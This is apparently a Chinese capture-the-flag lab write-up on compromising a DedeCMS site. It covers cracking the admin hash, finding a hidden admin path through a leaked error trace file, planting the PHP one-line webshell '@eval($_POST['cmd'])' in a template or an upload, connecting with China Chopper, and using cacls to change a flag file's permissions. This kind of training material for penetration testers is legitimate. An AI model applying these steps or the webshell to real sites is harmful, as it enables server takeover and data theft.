【i春秋】渗透测试入门 —— 真的很简单
0x00 前言
本题是渗透测试入门的一道基础题,虽然美其名曰“真的很简单”,但对于新手还是有一定挑战性的,实践并掌握本题中的所有知识点,对渗透测试的基本理解有很大帮助。
此题的目标是对一个基于织梦 CMS 的网站进行渗透测试,找到网站登录后台,继而入侵服务器找到存放 flag 的文件。从实验手册上,可看出其中还会涉及到简单的提权过程。
0x01 网站管理员的密码是多少?
第 1 题相对简单,在实验环境内根据提示打开下载链接 http://file.ichunqiu.com/49ba59ab
,接着下载爆破工具 dedecms.exe
:
打开工具,输入目标 URL,一键爆破得到管理员的账号 ichunqiu
与密码哈希值 adab29e084ff095ce3eb
:
仔细数数,发现密码哈希值是 20 位的(注:此处的“位”均为十六进制,而非二进制),上网一查才发现这是织梦 CMS 的特性,实现过程可参考 DEDECMS的20位MD5加密密文解密示例介绍:
将 20 位的哈希值用 MD5解密工具 解密,得到密码明文 only_system
:
为验证 20 位的 MD5 哈希算法规则,可进一步用 MD5加密工具 对 only_system
加密,发现其 16 位哈希值确实能由 20 位哈希值去掉前 3 位与后 1 位所得:
0x02 网站后台目录名是什么?
第 2 题上来先尝试织梦 CMS 的默认后台路径 /dede/index.php
或 /dede/login.php
,得到 404 的结果也是意料之中,即现在的问题是要找出修改后的后台目录名。
打开实验工具箱,发现【目录扫描】文件夹,以【御剑后台扫描工具】为例,对目标 URL 扫描后得到如下结果:
注意,为了保证扫描效率,一般后台扫描工具都是采用字典扫描,而不是暴力穷举,因此不同扫描器得到的结果不完全相同,尽可能使用多种扫描器,偏僻怪异的名字可能扫描不出来。
笔者采用了多种扫描器,并对其可能的结果进行验证,都一无所获,即可判断此后台目录名具有较强的个性或随机性。
所以要转换思路,看看织梦 CMS 是否存在后台地址信息泄露的漏洞。果不其然,发现从报错文件 /data/mysql_error_trace.inc
或 /data/mysqli_error_trace.inc
中,可得到泄露的后台路径,具体可参考:
最后在 /data/mysqli_error_trace.inc
中获得后台目录名为 lichunqiul
:
对其进行验证,终于看到了后台登录页面:
0x03 管理员桌面中 flag 文件信息是?
用账号 ichunqiu
与密码 only_system
登录后台后,根据实验手册,要想办法利用中国菜刀连接服务器,获得 webshell,进而查看 flag 文件中的信息。
获取 webshell
首先我们需要在服务器插入一句话木马,然后才能用菜刀连接,获得 webshell。这里介绍两种插入一句话木马的方法。
直接修改模板 PHP 源码
依次点击 模板 -> 标签源码管理,以编辑第一个模板 adminname.lib.php
为例:
在模板源码第一行插入一句话木马 <?php @eval($_POST['cmd']); ?>
:
接着在工具箱【webshell】文件夹打开【中国菜刀】:
在 添加SHELL 输入框中,输入被插入木马模板文件的地址 http://www.test.ichunqiu/include/taglib/adminname.lib.php
,其右侧填入木马中接收 POST 请求数据的 key 字段 cmd
,脚本类型为 PHP(Eval)
,字符编码为 GB2312
,设置完成后点击 添加:
若参数设置正确,双击所添加的条目,即可连接服务器的资源管理器,进入到模板文件所在的目录:
上传一句话木马文件
先在本地创建文件 trojan.php
,写入一句话木马 <?php @eval($_POST['cmd']); ?>
:
再依次点击 系统 -> 系统基本参数 -> 附件设置,如下图更改允许上传的文件类型,否则木马将上传失败:
最后点击 核心 -> 上传新文件,如下图所示上传木马:
上传完毕后点击 核心 -> 附件数据管理 -> 更改,即可查看木马的路径:
接着利用菜刀添加SHELL,步骤同上,只不过地址更改为 http://www.test.ichunqiu/uploads/soft/180307/1_1503138291.php
:
若参数设置正确,双击连接服务器的资源管理器,即可进入到木马所上传的目录:
权限提升
进入到管理员桌面可看到 flag 文件 flag~ichunqiu.txt
:
但双击后未显示任何内容,估计是权限受限。接下来可右键点击条目,祭出虚拟终端,即 webshell 的命令行模式:
先切换至管理员桌面,用 cacls
命令查看 flag 文件的访问控制列表(ACL),后用 whoami
命令查看用户名,发现 authority\system
用户对于 flag 文件的权限是 N,即无权限,用 type
命令查看 flag 文件果然是拒绝访问的:
用 cacls
命令更改了访问权限后,authority\system
用户对于 flag 文件的权限变成了 F,即所有权限,再次查看 flag 文件内容即可看到 key{il2o3l}
:
注意提交答案的时候有个坑,记得先拆掉包装,只需提交 il2o3l
即可。最后附上 cacls
命令的用法:
0x04 小结
所谓条条大路通罗马,以上思路可能只是完成目标的其中一种方法。本人能力有限,面对工具箱中种类繁多的各种工具不能信手拈来,对于 Windows 命令的使用也掌握不深,尤其是实验手册中提到的 net.exe
工具尚未使用,因为在 webshell 中使用 net
命令也是拒绝访问的,这个问题还请各位前辈不吝赐教。
最后向以下两篇参考 writeup 的作者表示致谢!